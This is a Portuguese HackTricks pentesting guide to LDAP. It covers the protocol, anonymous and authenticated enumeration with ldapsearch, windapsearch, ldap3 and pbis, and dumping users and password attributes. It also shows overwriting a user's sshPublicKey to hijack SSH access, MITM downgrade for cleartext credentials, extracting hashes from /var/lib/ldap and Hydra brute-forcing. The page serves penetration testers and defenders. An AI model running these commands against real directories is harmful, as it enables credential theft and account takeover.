mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-26 21:13:44 +00:00
376 lines
17 KiB
Markdown
376 lines
17 KiB
Markdown
## Informações Básicas
|
|
|
|
Extraído de: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP)
|
|
|
|
LDAP (Lightweight Directory Access Protocol) é um protocolo de software para permitir que qualquer pessoa **localize** organizações, indivíduos e outros **recursos** como arquivos e dispositivos em uma rede, seja na Internet pública ou em uma intranet corporativa. O LDAP é uma versão "leve" (menor quantidade de código) do Protocolo de Acesso a Diretório (DAP).
|
|
|
|
Um diretório LDAP pode ser **distribuído** entre muitos servidores. Cada servidor pode ter uma versão **replicada** do diretório total que é **sincronizada** periodicamente. Um servidor LDAP é chamado de Agente do Sistema de Diretório (DSA). Um servidor LDAP que recebe uma solicitação de um usuário assume a responsabilidade pela solicitação, passando-a para outros DSAs conforme necessário, mas garantindo uma única resposta coordenada para o usuário.
|
|
|
|
Um diretório LDAP é organizado em uma hierarquia simples de "árvore" consistindo nos seguintes níveis:
|
|
|
|
* O diretório raiz (o local de partida ou a fonte da árvore), que se ramifica para
|
|
* Países, cada um dos quais se ramifica para
|
|
* Organizações, que se ramificam para
|
|
* Unidades organizacionais (divisões, departamentos e assim por diante), que se ramificam para (inclui uma entrada para)
|
|
* Indivíduos (que incluem pessoas, arquivos e recursos compartilhados como impressoras)
|
|
|
|
**Porta padrão:** 389 e 636 (ldaps). O Catálogo Global (LDAP no ActiveDirectory) está disponível por padrão nas portas 3268 e 3269 para LDAPS.
|
|
```
|
|
PORT STATE SERVICE REASON
|
|
389/tcp open ldap syn-ack
|
|
636/tcp open tcpwrapped
|
|
```
|
|
### Formato de Intercâmbio de Dados LDAP
|
|
|
|
O LDIF (Formato de Intercâmbio de Dados LDAP) define o conteúdo do diretório como um conjunto de registros. Ele também pode representar solicitações de atualização (Adicionar, Modificar, Excluir, Renomear).
|
|
```bash
|
|
dn: dc=local
|
|
dc: local
|
|
objectClass: dcObject
|
|
|
|
dn: dc=moneycorp,dc=local
|
|
dc: moneycorp
|
|
objectClass: dcObject
|
|
objectClass: organization
|
|
|
|
dn ou=it,dc=moneycorp,dc=local
|
|
objectClass: organizationalUnit
|
|
ou: dev
|
|
|
|
dn: ou=marketing,dc=moneycorp,dc=local
|
|
objectClass: organizationalUnit
|
|
Ou: sales
|
|
|
|
dn: cn= ,ou= ,dc=moneycorp,dc=local
|
|
objectClass: personalData
|
|
cn:
|
|
sn:
|
|
gn:
|
|
uid:
|
|
ou:
|
|
mail: pepe@hacktricks.xyz
|
|
phone: 23627387495
|
|
```
|
|
* As linhas 1-3 definem o domínio de nível superior local
|
|
* As linhas 5-8 definem o domínio de primeiro nível moneycorp (moneycorp.local)
|
|
* As linhas 10-16 definem 2 unidades organizacionais: dev e sales
|
|
* As linhas 18-26 criam um objeto do domínio e atribuem atributos com valores
|
|
|
|
## Escrever dados
|
|
|
|
Observe que se você puder modificar valores, poderá realizar ações realmente interessantes. Por exemplo, imagine que você **pode alterar as informações "sshPublicKey"** do seu usuário ou de qualquer usuário. É altamente provável que, se esse atributo existir, **o ssh esteja lendo as chaves públicas do LDAP**. Se você puder modificar a chave pública de um usuário, **poderá fazer login como esse usuário, mesmo que a autenticação por senha não esteja habilitada no ssh**.
|
|
```bash
|
|
>>> import ldap3
|
|
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
|
|
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
|
|
>>> connection.bind()
|
|
True
|
|
>>> connection.extend.standard.who_am_i()
|
|
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
|
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
|
|
```
|
|
Exemplo retirado de: [https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/](https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/)
|
|
|
|
## Capturar credenciais em texto claro
|
|
|
|
Se o LDAP for usado sem SSL, você pode **capturar as credenciais em texto claro** na rede.
|
|
|
|
Além disso, você pode realizar um ataque **MITM** na rede **entre o servidor LDAP e o cliente**. Aqui, você pode fazer um **Ataque de Downgrade** para que o cliente use as **credenciais em texto claro** para fazer login.
|
|
|
|
**Se o SSL for usado**, você pode tentar fazer um **MITM** como o mencionado acima, mas oferecendo um **certificado falso**. Se o **usuário aceitá-lo**, você poderá fazer o Downgrade do método de autenticação e ver as credenciais novamente.
|
|
|
|
## Acesso anônimo
|
|
|
|
### Bypass na verificação TLS SNI
|
|
|
|
De acordo com [**este artigo**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/), apenas acessando o servidor LDAP com um nome de domínio arbitrário (como company.com), ele foi capaz de entrar em contato com o serviço LDAP e extrair informações como um usuário anônimo:
|
|
```bash
|
|
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
|
```
|
|
### Ligações anônimas LDAP
|
|
|
|
As ligações anônimas LDAP permitem que **atacantes não autenticados** recuperem informações do domínio, como uma lista completa de usuários, grupos, computadores, atributos de conta de usuário e a política de senha do domínio. Esta é uma **configuração legada** e, a partir do Windows Server 2003, apenas usuários autenticados podem iniciar solicitações LDAP. \
|
|
No entanto, os administradores podem ter precisado **configurar um aplicativo específico para permitir ligações anônimas** e concedido mais acesso do que o pretendido, dando assim a usuários não autenticados acesso a todos os objetos no AD.
|
|
|
|
## Credenciais válidas
|
|
|
|
Se você tiver credenciais válidas para fazer login no servidor LDAP, poderá despejar todas as informações sobre o Administrador do Domínio usando:
|
|
|
|
[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
|
|
```bash
|
|
pip3 install ldapdomaindump
|
|
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
|
|
```
|
|
### Força Bruta
|
|
|
|
## Enumeração
|
|
|
|
### Automatizada
|
|
|
|
Usando isso, você será capaz de ver as **informações públicas** (como o nome do domínio):
|
|
```bash
|
|
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
|
|
```
|
|
### Python
|
|
|
|
<details>
|
|
|
|
<summary>Veja a enumeração do LDAP com python</summary>
|
|
|
|
Você pode tentar **enumerar um LDAP com ou sem credenciais usando python**: `pip3 install ldap3`
|
|
|
|
Primeiro tente **conectar sem** credenciais:
|
|
```bash
|
|
>>> import ldap3
|
|
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
|
|
>>> connection = ldap3.Connection(server)
|
|
>>> connection.bind()
|
|
True
|
|
>>> server.info
|
|
```
|
|
Se a resposta for `True`, como no exemplo anterior, você pode obter alguns dados **interessantes** do servidor LDAP (como o **contexto de nomeação** ou o **nome do domínio**) a partir de:
|
|
```bash
|
|
>>> server.info
|
|
DSA info (from DSE):
|
|
Supported LDAP versions: 3
|
|
Naming contexts:
|
|
dc=DOMAIN,dc=DOMAIN
|
|
```
|
|
Depois de obter o contexto de nomeação, você pode fazer algumas consultas mais interessantes. Esta consulta simples deve mostrar todos os objetos no diretório:
|
|
```bash
|
|
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
|
|
True
|
|
>> connection.entries
|
|
```
|
|
Ou **despejar** todo o ldap:
|
|
```bash
|
|
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
|
|
True
|
|
>>> connection.entries
|
|
```
|
|
</details>
|
|
|
|
### windapsearch
|
|
|
|
[**Windapsearch**](https://github.com/ropnop/windapsearch) **** é um script em Python útil para **enumerar usuários, grupos e computadores de um domínio Windows** utilizando consultas LDAP.
|
|
```bash
|
|
# Get computers
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
|
# Get groups
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
|
|
# Get users
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
|
# Get Domain Admins
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
|
|
# Get Privileged Users
|
|
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
|
|
```
|
|
### ldapsearch
|
|
|
|
Verificar credenciais nulas ou se suas credenciais são válidas:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
|
|
```bash
|
|
# CREDENTIALS NOT VALID RESPONSE
|
|
search: 2
|
|
result: 1 Operations error
|
|
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
|
|
tion a successful bind must be completed on the connection., data 0, v3839
|
|
```
|
|
Se você encontrar algo dizendo que "_bind deve ser concluído_", significa que as credenciais estão incorretas.
|
|
|
|
Você pode extrair **tudo de um domínio** usando:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
-x Simple Authentication
|
|
-H LDAP Server
|
|
-D My User
|
|
-w My password
|
|
-b Base site, all data from here will be given
|
|
```
|
|
Extrair **usuários**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
|
|
```
|
|
Extrair **computadores**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extrair **minhas informações**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extrair **Administradores de Domínio**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extrair **Usuários do Domínio**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extrair **Administradores da Empresa**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extrair **Administradores**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Extrair **Grupo de Área de Trabalho Remota**:
|
|
```bash
|
|
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
|
```
|
|
Para verificar se você tem acesso a alguma senha, você pode usar o comando grep após executar uma das consultas:
|
|
```bash
|
|
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
|
|
```
|
|
#### pbis
|
|
|
|
Você pode baixar o **pbis** aqui: [https://github.com/BeyondTrust/pbis-open/](https://github.com/BeyondTrust/pbis-open/) e geralmente é instalado em `/opt/pbis`.\
|
|
O **Pbis** permite que você obtenha informações básicas facilmente:
|
|
```bash
|
|
#Read keytab file
|
|
./klist -k /etc/krb5.keytab
|
|
|
|
#Get known domains info
|
|
./get-status
|
|
./lsa get-status
|
|
|
|
#Get basic metrics
|
|
./get-metrics
|
|
./lsa get-metrics
|
|
|
|
#Get users
|
|
./enum-users
|
|
./lsa enum-users
|
|
|
|
#Get groups
|
|
./enum-groups
|
|
./lsa enum-groups
|
|
|
|
#Get all kind of objects
|
|
./enum-objects
|
|
./lsa enum-objects
|
|
|
|
#Get groups of a user
|
|
./list-groups-for-user <username>
|
|
./lsa list-groups-for-user <username>
|
|
#Get groups of each user
|
|
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
|
|
|
|
#Get users of a group
|
|
./enum-members --by-name "domain admins"
|
|
./lsa enum-members --by-name "domain admins"
|
|
#Get users of each group
|
|
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
|
|
|
|
#Get description of each user
|
|
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
|
|
echo "$line";
|
|
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
|
|
echo "======================"
|
|
done
|
|
```
|
|
## Interface Gráfica
|
|
|
|
### Apache Directory
|
|
|
|
[**Baixe o Apache Directory aqui**](https://directory.apache.org/studio/download/download-linux.html). Você pode encontrar um [exemplo de como usar essa ferramenta aqui](https://www.youtube.com/watch?v=VofMBg2VLnw\&t=3840s).
|
|
|
|
### jxplorer
|
|
|
|
Você pode baixar uma interface gráfica com servidor LDAP aqui: [http://www.jxplorer.org/downloads/users.html](http://www.jxplorer.org/downloads/users.html)
|
|
|
|
Por padrão, ele é instalado em: _/opt/jxplorer_
|
|
|
|
![](<../.gitbook/assets/image (22) (1).png>)
|
|
|
|
## Autenticação via kerberos
|
|
|
|
Usando `ldapsearch`, você pode **autenticar** contra **kerberos** em vez de via **NTLM** usando o parâmetro `-Y GSSAPI`
|
|
|
|
## POST
|
|
|
|
Se você pode acessar os arquivos onde os bancos de dados estão contidos (podem estar em _/var/lib/ldap_). Você pode extrair os hashes usando:
|
|
```bash
|
|
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
|
|
```
|
|
Você pode alimentar o John com o hash da senha (de '{SSHA}' até 'estrutural' sem adicionar 'estrutural').
|
|
|
|
### Arquivos de Configuração
|
|
|
|
* Geral
|
|
* containers.ldif
|
|
* ldap.cfg
|
|
* ldap.conf
|
|
* ldap.xml
|
|
* ldap-config.xml
|
|
* ldap-realm.xml
|
|
* slapd.conf
|
|
* Servidor IBM SecureWay V3
|
|
* V3.sas.oc
|
|
* Servidor Microsoft Active Directory
|
|
* msadClassesAttrs.ldif
|
|
* Netscape Directory Server 4
|
|
* nsslapd.sas\_at.conf
|
|
* nsslapd.sas\_oc.conf
|
|
* Servidor de diretório OpenLDAP
|
|
* slapd.sas\_at.conf
|
|
* slapd.sas\_oc.conf
|
|
* Sun ONE Directory Server 5.1
|
|
* 75sas.ldif
|
|
|
|
## Comandos Automáticos do HackTricks
|
|
```
|
|
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
|
|
Port_Number: 389,636 #Comma separated if there is more than one.
|
|
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Notes
|
|
Description: Notes for LDAP
|
|
Note: |
|
|
LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to locate organizations, individuals, and other resources such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP).
|
|
|
|
https://book.hacktricks.xyz/pentesting/pentesting-ldap
|
|
|
|
Entry_2:
|
|
Name: Banner Grab
|
|
Description: Grab LDAP Banner
|
|
Command: nmap -p 389 --script ldap-search -Pn {IP}
|
|
|
|
Entry_3:
|
|
Name: LdapSearch
|
|
Description: Base LdapSearch
|
|
Command: ldapsearch -H ldap://{IP} -x
|
|
|
|
Entry_4:
|
|
Name: LdapSearch Naming Context Dump
|
|
Description: Attempt to get LDAP Naming Context
|
|
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
|
|
|
|
Entry_5:
|
|
Name: LdapSearch Big Dump
|
|
Description: Need Naming Context to do big dump
|
|
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
|
|
|
|
Entry_6:
|
|
Name: Hydra Brute Force
|
|
Description: Need User
|
|
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
|
|
```
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) **grupo do Discord** ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|